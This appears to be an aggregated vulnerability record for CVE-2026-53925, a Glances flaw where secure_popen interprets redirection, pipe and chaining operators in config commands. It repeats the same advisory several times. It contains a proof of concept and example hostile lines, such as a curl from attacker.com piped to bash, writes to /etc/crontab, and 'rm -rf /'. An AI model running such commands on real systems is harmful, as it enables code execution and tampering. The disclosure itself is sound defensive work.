{"id":"CVE-2026-53925","aliases":["DEBIAN-CVE-2026-53925","EUVD-2026-39518","GHSA-3vwc-qwhc-3mj7","PYSEC-2026-2494","UBUNTU-CVE-2026-53925","openSUSE-SU-2026:11122-1"],"status":"published","title":"Glances: Arbitrary file write and command execution via `secure_popen` redirection and chaining operators in AMP command configuration","description":"Glances is an open-source system cross-platform monitoring tool. From 4.0.8 until 4.5.5, the secure_popen() function in glances/secure.py interprets \u003e (file redirection), | (pipe), and \u0026\u0026 (command chaining) operators in command strings. These operators are applied without any validation on the target file path, piped command, or chained command. When Application Monitoring Process (AMP) modules load their command or service_cmd configuration values from glances.conf, those values are passed directly to secure_popen() with no sanitization. This allows an attacker who can modify the Glances configuration file to write arbitrary content to arbitrary filesystem paths (via \u003e), chain arbitrary commands (via \u0026\u0026), or pipe command output to arbitrary programs (via |). This vulnerability is fixed in 4.5.5.","severity":{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00185,"percentile":0.08169,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2026-06-23T17:59:01Z","modified":"2026-10-28T02:31:04Z","fixes":[{"ecosystem":"PyPI","package":"glances","fixed_in":["4.5.5"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"glances","fixed_in":["4.5.5+dfsg-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.8"},{"fixed":"4.5.5"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.3.1.1+dfsg-1","3.4.0.3+dfsg-1","4.0.5+dfsg-1","4.1.2.1+dfsg-1","4.2.1+dfsg-1","4.3.0.8+dfsg-1","4.3.1+dfsg-1","4.3.3+dfsg-1","4.5.1+dfsg-1","4.5.2+dfsg-1","4.5.3.2+dfsg-1","4.5.4+dfsg-1","4.5.5+dfsg-1","4.5.6+dfsg-1","4.5.7+dfsg-1","4.5.8+dfsg-1"]},{"source":"osv","ecosystem":"Debian:13","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.3.1+dfsg-1","4.3.3+dfsg-1","4.5.1+dfsg-1","4.5.2+dfsg-1","4.5.3.2+dfsg-1","4.5.4+dfsg-1","4.5.5+dfsg-1","4.5.6+dfsg-1","4.5.7+dfsg-1","4.5.8+dfsg-1"]},{"source":"osv","ecosystem":"Debian:14","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.5+dfsg-1"}]}],"versions":["4.3.1+dfsg-1","4.3.3+dfsg-1","4.5.1+dfsg-1","4.5.2+dfsg-1","4.5.3.2+dfsg-1","4.5.4+dfsg-1"]},{"source":"osv","ecosystem":"PyPI","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.8"},{"fixed":"4.5.5"}]}],"versions":["4.0.8","4.1.0","4.1.1","4.1.2","4.2.0","4.2.1","4.3.0","4.3.0.1","4.3.0.3","4.3.0.4","4.3.0.5","4.3.0.6","4.3.0.7","4.3.0.8","4.3.1","4.3.2","4.3.3","4.4.0","4.4.1","4.5.0","4.5.0.1","4.5.0.2","4.5.0.3","4.5.0.4","4.5.0.5","4.5.1","4.5.2","4.5.3","4.5.4"]},{"source":"osv","ecosystem":"PyPI","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.8"},{"fixed":"4.5.5"}]}],"versions":["4.0.8","4.1.0","4.1.1","4.1.2","4.2.0","4.2.1","4.3.0","4.3.0.1","4.3.0.3","4.3.0.4","4.3.0.5","4.3.0.6","4.3.0.7","4.3.0.8","4.3.1","4.3.2","4.3.3","4.4.0","4.4.1","4.5.0","4.5.0.1","4.5.0.2","4.5.0.3","4.5.0.4","4.5.0.5","4.5.1","4.5.2","4.5.3","4.5.4"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.3-1build1","2.3-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.10-2","2.11.1-1","2.11.1-2","2.11.1-3","2.11.1-3ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.0-1","3.1.1-1","3.1.3-1","3.1.3-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.5-1","3.2.3.1+dfsg-1","3.2.4.2+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.4.0.3+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.3.0.8+dfsg-1","4.3.1+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.3.1+dfsg-1","4.3.3+dfsg-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-Glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.5-1.1"}]}],"bundled":5}],"products":[{"vendor":"nicolargo","product":"glances"}],"references":[{"url":"https://github.com/nicolargo/glances/security/advisories/GHSA-3vwc-qwhc-3mj7","tags":["x_refsource_CONFIRM","exploit","advisory","web","report"]},{"url":"https://github.com/nicolargo/glances/releases/tag/v4.5.5","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53925","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-3vwc-qwhc-3mj7","tags":["advisory"]},{"url":"https://github.com/nicolargo/glances","tags":["package"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/glances/PYSEC-2026-2494.yaml","tags":["web"]},{"url":"https://pypi.org/project/glances","tags":["web","package"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/53xxx/CVE-2026-53925.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-53925","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-53925","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-53925","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46606","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46607","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46608","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46611","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53925","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-53925","title":"Glances: Arbitrary file write and command execution via `secure_popen` redirection and chaining operators in AMP command configuration","description":"Glances is an open-source system cross-platform monitoring tool. From 4.0.8 until 4.5.5, the secure_popen() function in glances/secure.py interprets \u003e (file redirection), | (pipe), and \u0026\u0026 (command chaining) operators in command strings. These operators are applied without any validation on the target file path, piped command, or chained command. When Application Monitoring Process (AMP) modules load their command or service_cmd configuration values from glances.conf, those values are passed directly to secure_popen() with no sanitization. This allows an attacker who can modify the Glances configuration file to write arbitrary content to arbitrary filesystem paths (via \u003e), chain arbitrary commands (via \u0026\u0026), or pipe command output to arbitrary programs (via |). This vulnerability is fixed in 4.5.5.","status":"published","published":"2026-06-25T18:03:43.333Z","modified":"2026-06-25T18:25:13.508Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:20:00.11477Z"}],"euvd":[{"id":"EUVD-2026-39518","description":"Glances is an open-source system cross-platform monitoring tool. From 4.0.8 until 4.5.5, the secure_popen() function in glances/secure.py interprets \u003e (file redirection), | (pipe), and \u0026\u0026 (command chaining) operators in command strings. These operators are applied without any validation on the target file path, piped command, or chained command. When Application Monitoring Process (AMP) modules load their command or service_cmd configuration values from glances.conf, those values are passed directly to secure_popen() with no sanitization. This allows an attacker who can modify the Glances configuration file to write arbitrary content to arbitrary filesystem paths (via \u003e), chain arbitrary commands (via \u0026\u0026), or pipe command output to arbitrary programs (via |). This vulnerability is fixed in 4.5.5.","status":"published","published":"2026-06-25T18:03:43Z","modified":"2026-06-25T18:25:13Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T18:20:25.316004Z"}],"ghsa":[{"id":"GHSA-3vwc-qwhc-3mj7","title":"Glances has arbitrary file write and command execution via `secure_popen` redirection and chaining operators in AMP command configuration","description":"### Summary\n\nThe `secure_popen()` function in `glances/secure.py` interprets `\u003e` (file redirection), `|` (pipe), and `\u0026\u0026` (command chaining) operators in command strings. These operators are applied without any validation on the target file path, piped command, or chained command.\n\nWhen Application Monitoring Process (AMP) modules load their `command` or `service_cmd` configuration values from `glances.conf`, those values are passed directly to `secure_popen()` with no sanitization. This allows an attacker who can modify the Glances configuration file to write arbitrary content to arbitrary filesystem paths (via `\u003e`), chain arbitrary commands (via `\u0026\u0026`), or pipe command output to arbitrary programs (via `|`).\n\nCrucially, this vulnerability is **not mitigated** by the `--disable-config-exec` flag that was introduced to address CVE-2026-33641. That flag only disables backtick command execution in `config.get_value()`; it does not affect the `secure_popen()` function's interpretation of shell-like operators.\n\n### Details\n\n**Affected code path 1 — Default AMP (`glances/amps/default/__init__.py:69`)**\n\n```python\nres = self.get('command')\n# ...\nself.set_result(secure_popen(res).rstrip())\n```\n\nThe `command` config value is loaded from `[amp_\u003cname\u003e]` sections via `GlancesAmp.load_config()` (`glances/amps/amp.py:81`):\n\n```python\nself.configs[param] = config.get_value(amp_section, param).split(',')\n```\n\n**Affected code path 2 — SystemV AMP (`glances/amps/systemv/__init__.py:60`)**\n\n```python\nres = secure_popen(self.get('service_cmd'))\n```\n\nThe `service_cmd` config value is loaded from `[amp_systemv]` sections via the same `GlancesAmp.load_config()` method.\n\n**Sink — `secure_popen()` (`glances/secure.py:33-77`)**\n\nThe function explicitly parses:\n- `\u003e` for file redirection (line 39): `cmd.split('\u003e')` — the path after `\u003e` is used directly in `open(stdout_redirect, \"w\")` (line 71) with **no path validation**.\n- `|` for command piping (line 51): `cmd.split('|')` — each segment is executed as a separate `Popen` with stdout piped to the next.\n- `\u0026\u0026` for command chaining (line 27 in `secure_popen`): `cmd.split('\u0026\u0026')` — each segment is executed sequentially.\n\nNone of these operators are sanitized or restricted when loading AMP configuration values.\n\n**Why `--disable-config-exec` does not help:**\n\nThe `--disable-config-exec` flag (introduced for CVE-2026-33641) only prevents `system_exec()` from running backtick-embedded commands in `config.get_value()`. It does not affect how the resulting string value is processed by `secure_popen()`. A command value like `echo data \u003e /etc/crontab` contains no backticks and passes through `get_value()` unchanged, then `secure_popen()` interprets the `\u003e` operator and writes to the arbitrary path.\n\n### PoC\n\n**Clean-checkout recipe:**\n\n1. Create a test configuration file:\n\n```bash\ncat \u003e /tmp/poc-glances.conf \u003c\u003c 'EOF'\n[amp_poc]\nenable=true\nregex=.*\nrefresh=3\ncommand=echo POC_ARBITRARY_FILE_WRITE \u003e /tmp/cve-poc-marker-amp\n\n[outputs]\ncors_origins=*\nEOF\n```\n\n2. Run a Python script that simulates the AMP command execution path:\n\n```python\nimport sys\nsys.path.insert(0, '/path/to/glances')\nfrom glances.config import Config\nfrom glances.secure import secure_popen\nimport os\n\n# Load config with --disable-config-exec ACTIVE (CVE-2026-33641 mitigation)\nconfig = Config(config_dir='/tmp/poc-glances.conf', disable_config_exec=True)\n\n# Read AMP command value (same as amp.py load_config)\ncommand = config.get_value('amp_poc', 'command')\nprint(f'Command: {command!r}')\n\n# Execute (same as amps/default/__init__.py line 69)\nmarker = '/tmp/cve-poc-marker-amp'\nassert not os.path.exists(marker), 'Clean state required'\nresult = secure_popen(command)\nprint(f'Result: {result!r}')\n\n# Verify arbitrary file write occurred\nassert os.path.exists(marker), 'VULNERABILITY NOT CONFIRMED'\nwith open(marker) as f:\n    content = f.read()\nprint(f'Written to {marker}: {content!r}')\nassert 'POC_ARBITRARY_FILE_WRITE' in content\n\n# Cleanup\nos.remove(marker)\nprint('CONFIRMED: Arbitrary file write via secure_popen \u003e in AMP command')\n```\n\n**Expected vulnerable output:**\n\n```\nCommand: 'echo POC_ARBITRARY_FILE_WRITE \u003e /tmp/cve-poc-marker-amp'\nResult: 'POC_ARBITRARY_FILE_WRITE\\n'\nWritten to /tmp/cve-poc-marker-amp: 'POC_ARBITRARY_FILE_WRITE\\n'\nCONFIRMED: Arbitrary file write via secure_popen \u003e in AMP command\n```\n\n**Negative/control case (demonstrating `--disable-config-exec` only blocks backticks):**\n\n```python\n# This IS blocked by --disable-config-exec:\n# command=`rm -rf /` → get_value() skips backtick execution\n\n# This is NOT blocked by --disable-config-exec:\n# command=echo data \u003e /etc/crontab → secure_popen writes to /etc/crontab\n```\n\n**Cleanup:**\n\n```bash\nrm -f /tmp/poc-glances.conf /tmp/cve-poc-marker-amp\n```\n\n### Impact\n\nAn attacker who can modify `glances.conf` (e.g., through a separate file-write vulnerability, a misconfigured shared filesystem, a configuration management system, or a container volume mount) can:\n\n1. **Write arbitrary content to arbitrary files** via the `\u003e` operator — e.g., overwriting `/etc/crontab`, `~/.ssh/authorized_keys`, or any file writable by the Glances process user.\n\n2. **Execute arbitrary commands** via the `\u0026\u0026` and `|` operators — e.g., `echo x \u0026\u0026 curl http://attacker.com/shell.sh | bash`.\n\n3. **Exfiltrate data** via the `|` operator piping command output to network utilities.\n\nThe existing `--disable-config-exec` mitigation for CVE-2026-33641 does not protect against this vulnerability because it operates at a different layer (`config.get_value()` backtick processing vs. `secure_popen()` operator interpretation).\n\n### Suggested remediation\n\n1. **Remove file redirection support from `secure_popen()`** unless explicitly required. The `\u003e` operator in `__secure_popen()` (lines 39-45, 69-72) writes to arbitrary paths. Consider removing this feature or restricting output paths to a safe directory (e.g., a configured output directory with path traversal protection).\n\n2. **Sanitize AMP command values** before passing them to `secure_popen()`. Apply the same sanitization used in `actions.py:_sanitize_mustache_dict()` to strip `\u0026\u0026`, `|`, `\u003e\u003e`, and `\u003e` from AMP command and service_cmd config values, or refuse to execute commands containing these operators.\n\n3. **Consider replacing `secure_popen()` with `subprocess.run(shell=False)`** using explicit argument arrays. The `secure_popen()` function reimplements shell-like operator parsing (`\u0026\u0026`, `|`, `\u003e`) which is inherently risky. Standard `subprocess.run()` with `shell=False` and an explicit argument list avoids this class of vulnerability entirely.\n\n4. **Add a regression test** that verifies AMP commands cannot contain file redirection or command chaining operators.\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R\u0026D)\n- Nguyen Huy Vu Dung from VinSOC Labs (AppSec)","status":"published","published":"2026-06-23T17:59:01Z","modified":"2026-07-21T14:44:42Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:40:49.410128Z"}],"nvd":[{"id":"CVE-2026-53925","description":"Glances is an open-source system cross-platform monitoring tool. From 4.0.8 until 4.5.5, the secure_popen() function in glances/secure.py interprets \u003e (file redirection), | (pipe), and \u0026\u0026 (command chaining) operators in command strings. These operators are applied without any validation on the target file path, piped command, or chained command. When Application Monitoring Process (AMP) modules load their command or service_cmd configuration values from glances.conf, those values are passed directly to secure_popen() with no sanitization. This allows an attacker who can modify the Glances configuration file to write arbitrary content to arbitrary filesystem paths (via \u003e), chain arbitrary commands (via \u0026\u0026), or pipe command output to arbitrary programs (via |). This vulnerability is fixed in 4.5.5.","status":"published","published":"2026-06-25T19:16:40.017Z","modified":"2026-10-25T22:10:00.15Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:12:26.045561Z"}],"osv":[{"id":"CVE-2026-53925","title":"Glances: Arbitrary file write and command execution via `secure_popen` redirection and chaining operators in AMP command configuration","description":"Glances is an open-source system cross-platform monitoring tool. From 4.0.8 until 4.5.5, the secure_popen() function in glances/secure.py interprets \u003e (file redirection), | (pipe), and \u0026\u0026 (command chaining) operators in command strings. These operators are applied without any validation on the target file path, piped command, or chained command. When Application Monitoring Process (AMP) modules load their command or service_cmd configuration values from glances.conf, those values are passed directly to secure_popen() with no sanitization. This allows an attacker who can modify the Glances configuration file to write arbitrary content to arbitrary filesystem paths (via \u003e), chain arbitrary commands (via \u0026\u0026), or pipe command output to arbitrary programs (via |). This vulnerability is fixed in 4.5.5.","status":"published","published":"2026-06-25T18:03:43.333Z","modified":"2026-10-28T02:31:04.200669259Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:45:08.132336Z"},{"id":"DEBIAN-CVE-2026-53925","description":"Glances is an open-source system cross-platform monitoring tool. From 4.0.8 until 4.5.5, the secure_popen() function in glances/secure.py interprets \u003e (file redirection), | (pipe), and \u0026\u0026 (command chaining) operators in command strings. These operators are applied without any validation on the target file path, piped command, or chained command. When Application Monitoring Process (AMP) modules load their command or service_cmd configuration values from glances.conf, those values are passed directly to secure_popen() with no sanitization. This allows an attacker who can modify the Glances configuration file to write arbitrary content to arbitrary filesystem paths (via \u003e), chain arbitrary commands (via \u0026\u0026), or pipe command output to arbitrary programs (via |). This vulnerability is fixed in 4.5.5.","status":"published","published":"2026-06-25T19:16:40.017Z","modified":"2026-10-26T12:02:58.163510732Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:57.236551Z"},{"id":"GHSA-3vwc-qwhc-3mj7","title":"Glances has arbitrary file write and command execution via `secure_popen` redirection and chaining operators in AMP command configuration","description":"### Summary\n\nThe `secure_popen()` function in `glances/secure.py` interprets `\u003e` (file redirection), `|` (pipe), and `\u0026\u0026` (command chaining) operators in command strings. These operators are applied without any validation on the target file path, piped command, or chained command.\n\nWhen Application Monitoring Process (AMP) modules load their `command` or `service_cmd` configuration values from `glances.conf`, those values are passed directly to `secure_popen()` with no sanitization. This allows an attacker who can modify the Glances configuration file to write arbitrary content to arbitrary filesystem paths (via `\u003e`), chain arbitrary commands (via `\u0026\u0026`), or pipe command output to arbitrary programs (via `|`).\n\nCrucially, this vulnerability is **not mitigated** by the `--disable-config-exec` flag that was introduced to address CVE-2026-33641. That flag only disables backtick command execution in `config.get_value()`; it does not affect the `secure_popen()` function's interpretation of shell-like operators.\n\n### Details\n\n**Affected code path 1 — Default AMP (`glances/amps/default/__init__.py:69`)**\n\n```python\nres = self.get('command')\n# ...\nself.set_result(secure_popen(res).rstrip())\n```\n\nThe `command` config value is loaded from `[amp_\u003cname\u003e]` sections via `GlancesAmp.load_config()` (`glances/amps/amp.py:81`):\n\n```python\nself.configs[param] = config.get_value(amp_section, param).split(',')\n```\n\n**Affected code path 2 — SystemV AMP (`glances/amps/systemv/__init__.py:60`)**\n\n```python\nres = secure_popen(self.get('service_cmd'))\n```\n\nThe `service_cmd` config value is loaded from `[amp_systemv]` sections via the same `GlancesAmp.load_config()` method.\n\n**Sink — `secure_popen()` (`glances/secure.py:33-77`)**\n\nThe function explicitly parses:\n- `\u003e` for file redirection (line 39): `cmd.split('\u003e')` — the path after `\u003e` is used directly in `open(stdout_redirect, \"w\")` (line 71) with **no path validation**.\n- `|` for command piping (line 51): `cmd.split('|')` — each segment is executed as a separate `Popen` with stdout piped to the next.\n- `\u0026\u0026` for command chaining (line 27 in `secure_popen`): `cmd.split('\u0026\u0026')` — each segment is executed sequentially.\n\nNone of these operators are sanitized or restricted when loading AMP configuration values.\n\n**Why `--disable-config-exec` does not help:**\n\nThe `--disable-config-exec` flag (introduced for CVE-2026-33641) only prevents `system_exec()` from running backtick-embedded commands in `config.get_value()`. It does not affect how the resulting string value is processed by `secure_popen()`. A command value like `echo data \u003e /etc/crontab` contains no backticks and passes through `get_value()` unchanged, then `secure_popen()` interprets the `\u003e` operator and writes to the arbitrary path.\n\n### PoC\n\n**Clean-checkout recipe:**\n\n1. Create a test configuration file:\n\n```bash\ncat \u003e /tmp/poc-glances.conf \u003c\u003c 'EOF'\n[amp_poc]\nenable=true\nregex=.*\nrefresh=3\ncommand=echo POC_ARBITRARY_FILE_WRITE \u003e /tmp/cve-poc-marker-amp\n\n[outputs]\ncors_origins=*\nEOF\n```\n\n2. Run a Python script that simulates the AMP command execution path:\n\n```python\nimport sys\nsys.path.insert(0, '/path/to/glances')\nfrom glances.config import Config\nfrom glances.secure import secure_popen\nimport os\n\n# Load config with --disable-config-exec ACTIVE (CVE-2026-33641 mitigation)\nconfig = Config(config_dir='/tmp/poc-glances.conf', disable_config_exec=True)\n\n# Read AMP command value (same as amp.py load_config)\ncommand = config.get_value('amp_poc', 'command')\nprint(f'Command: {command!r}')\n\n# Execute (same as amps/default/__init__.py line 69)\nmarker = '/tmp/cve-poc-marker-amp'\nassert not os.path.exists(marker), 'Clean state required'\nresult = secure_popen(command)\nprint(f'Result: {result!r}')\n\n# Verify arbitrary file write occurred\nassert os.path.exists(marker), 'VULNERABILITY NOT CONFIRMED'\nwith open(marker) as f:\n    content = f.read()\nprint(f'Written to {marker}: {content!r}')\nassert 'POC_ARBITRARY_FILE_WRITE' in content\n\n# Cleanup\nos.remove(marker)\nprint('CONFIRMED: Arbitrary file write via secure_popen \u003e in AMP command')\n```\n\n**Expected vulnerable output:**\n\n```\nCommand: 'echo POC_ARBITRARY_FILE_WRITE \u003e /tmp/cve-poc-marker-amp'\nResult: 'POC_ARBITRARY_FILE_WRITE\\n'\nWritten to /tmp/cve-poc-marker-amp: 'POC_ARBITRARY_FILE_WRITE\\n'\nCONFIRMED: Arbitrary file write via secure_popen \u003e in AMP command\n```\n\n**Negative/control case (demonstrating `--disable-config-exec` only blocks backticks):**\n\n```python\n# This IS blocked by --disable-config-exec:\n# command=`rm -rf /` → get_value() skips backtick execution\n\n# This is NOT blocked by --disable-config-exec:\n# command=echo data \u003e /etc/crontab → secure_popen writes to /etc/crontab\n```\n\n**Cleanup:**\n\n```bash\nrm -f /tmp/poc-glances.conf /tmp/cve-poc-marker-amp\n```\n\n### Impact\n\nAn attacker who can modify `glances.conf` (e.g., through a separate file-write vulnerability, a misconfigured shared filesystem, a configuration management system, or a container volume mount) can:\n\n1. **Write arbitrary content to arbitrary files** via the `\u003e` operator — e.g., overwriting `/etc/crontab`, `~/.ssh/authorized_keys`, or any file writable by the Glances process user.\n\n2. **Execute arbitrary commands** via the `\u0026\u0026` and `|` operators — e.g., `echo x \u0026\u0026 curl http://attacker.com/shell.sh | bash`.\n\n3. **Exfiltrate data** via the `|` operator piping command output to network utilities.\n\nThe existing `--disable-config-exec` mitigation for CVE-2026-33641 does not protect against this vulnerability because it operates at a different layer (`config.get_value()` backtick processing vs. `secure_popen()` operator interpretation).\n\n### Suggested remediation\n\n1. **Remove file redirection support from `secure_popen()`** unless explicitly required. The `\u003e` operator in `__secure_popen()` (lines 39-45, 69-72) writes to arbitrary paths. Consider removing this feature or restricting output paths to a safe directory (e.g., a configured output directory with path traversal protection).\n\n2. **Sanitize AMP command values** before passing them to `secure_popen()`. Apply the same sanitization used in `actions.py:_sanitize_mustache_dict()` to strip `\u0026\u0026`, `|`, `\u003e\u003e`, and `\u003e` from AMP command and service_cmd config values, or refuse to execute commands containing these operators.\n\n3. **Consider replacing `secure_popen()` with `subprocess.run(shell=False)`** using explicit argument arrays. The `secure_popen()` function reimplements shell-like operator parsing (`\u0026\u0026`, `|`, `\u003e`) which is inherently risky. Standard `subprocess.run()` with `shell=False` and an explicit argument list avoids this class of vulnerability entirely.\n\n4. **Add a regression test** that verifies AMP commands cannot contain file redirection or command chaining operators.\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R\u0026D)\n- Nguyen Huy Vu Dung from VinSOC Labs (AppSec)","status":"published","published":"2026-06-23T17:59:01Z","modified":"2026-07-21T15:00:42.327029716Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:36.092962Z"},{"id":"PYSEC-2026-2494","title":"Glances has arbitrary file write and command execution via `secure_popen` redirection and chaining operators in AMP command configuration","description":"### Summary\n\nThe `secure_popen()` function in `glances/secure.py` interprets `\u003e` (file redirection), `|` (pipe), and `\u0026\u0026` (command chaining) operators in command strings. These operators are applied without any validation on the target file path, piped command, or chained command.\n\nWhen Application Monitoring Process (AMP) modules load their `command` or `service_cmd` configuration values from `glances.conf`, those values are passed directly to `secure_popen()` with no sanitization. This allows an attacker who can modify the Glances configuration file to write arbitrary content to arbitrary filesystem paths (via `\u003e`), chain arbitrary commands (via `\u0026\u0026`), or pipe command output to arbitrary programs (via `|`).\n\nCrucially, this vulnerability is **not mitigated** by the `--disable-config-exec` flag that was introduced to address CVE-2026-33641. That flag only disables backtick command execution in `config.get_value()`; it does not affect the `secure_popen()` function's interpretation of shell-like operators.\n\n### Details\n\n**Affected code path 1 — Default AMP (`glances/amps/default/__init__.py:69`)**\n\n```python\nres = self.get('command')\n# ...\nself.set_result(secure_popen(res).rstrip())\n```\n\nThe `command` config value is loaded from `[amp_\u003cname\u003e]` sections via `GlancesAmp.load_config()` (`glances/amps/amp.py:81`):\n\n```python\nself.configs[param] = config.get_value(amp_section, param).split(',')\n```\n\n**Affected code path 2 — SystemV AMP (`glances/amps/systemv/__init__.py:60`)**\n\n```python\nres = secure_popen(self.get('service_cmd'))\n```\n\nThe `service_cmd` config value is loaded from `[amp_systemv]` sections via the same `GlancesAmp.load_config()` method.\n\n**Sink — `secure_popen()` (`glances/secure.py:33-77`)**\n\nThe function explicitly parses:\n- `\u003e` for file redirection (line 39): `cmd.split('\u003e')` — the path after `\u003e` is used directly in `open(stdout_redirect, \"w\")` (line 71) with **no path validation**.\n- `|` for command piping (line 51): `cmd.split('|')` — each segment is executed as a separate `Popen` with stdout piped to the next.\n- `\u0026\u0026` for command chaining (line 27 in `secure_popen`): `cmd.split('\u0026\u0026')` — each segment is executed sequentially.\n\nNone of these operators are sanitized or restricted when loading AMP configuration values.\n\n**Why `--disable-config-exec` does not help:**\n\nThe `--disable-config-exec` flag (introduced for CVE-2026-33641) only prevents `system_exec()` from running backtick-embedded commands in `config.get_value()`. It does not affect how the resulting string value is processed by `secure_popen()`. A command value like `echo data \u003e /etc/crontab` contains no backticks and passes through `get_value()` unchanged, then `secure_popen()` interprets the `\u003e` operator and writes to the arbitrary path.\n\n### PoC\n\n**Clean-checkout recipe:**\n\n1. Create a test configuration file:\n\n```bash\ncat \u003e /tmp/poc-glances.conf \u003c\u003c 'EOF'\n[amp_poc]\nenable=true\nregex=.*\nrefresh=3\ncommand=echo POC_ARBITRARY_FILE_WRITE \u003e /tmp/cve-poc-marker-amp\n\n[outputs]\ncors_origins=*\nEOF\n```\n\n2. Run a Python script that simulates the AMP command execution path:\n\n```python\nimport sys\nsys.path.insert(0, '/path/to/glances')\nfrom glances.config import Config\nfrom glances.secure import secure_popen\nimport os\n\n# Load config with --disable-config-exec ACTIVE (CVE-2026-33641 mitigation)\nconfig = Config(config_dir='/tmp/poc-glances.conf', disable_config_exec=True)\n\n# Read AMP command value (same as amp.py load_config)\ncommand = config.get_value('amp_poc', 'command')\nprint(f'Command: {command!r}')\n\n# Execute (same as amps/default/__init__.py line 69)\nmarker = '/tmp/cve-poc-marker-amp'\nassert not os.path.exists(marker), 'Clean state required'\nresult = secure_popen(command)\nprint(f'Result: {result!r}')\n\n# Verify arbitrary file write occurred\nassert os.path.exists(marker), 'VULNERABILITY NOT CONFIRMED'\nwith open(marker) as f:\n    content = f.read()\nprint(f'Written to {marker}: {content!r}')\nassert 'POC_ARBITRARY_FILE_WRITE' in content\n\n# Cleanup\nos.remove(marker)\nprint('CONFIRMED: Arbitrary file write via secure_popen \u003e in AMP command')\n```\n\n**Expected vulnerable output:**\n\n```\nCommand: 'echo POC_ARBITRARY_FILE_WRITE \u003e /tmp/cve-poc-marker-amp'\nResult: 'POC_ARBITRARY_FILE_WRITE\\n'\nWritten to /tmp/cve-poc-marker-amp: 'POC_ARBITRARY_FILE_WRITE\\n'\nCONFIRMED: Arbitrary file write via secure_popen \u003e in AMP command\n```\n\n**Negative/control case (demonstrating `--disable-config-exec` only blocks backticks):**\n\n```python\n# This IS blocked by --disable-config-exec:\n# command=`rm -rf /` → get_value() skips backtick execution\n\n# This is NOT blocked by --disable-config-exec:\n# command=echo data \u003e /etc/crontab → secure_popen writes to 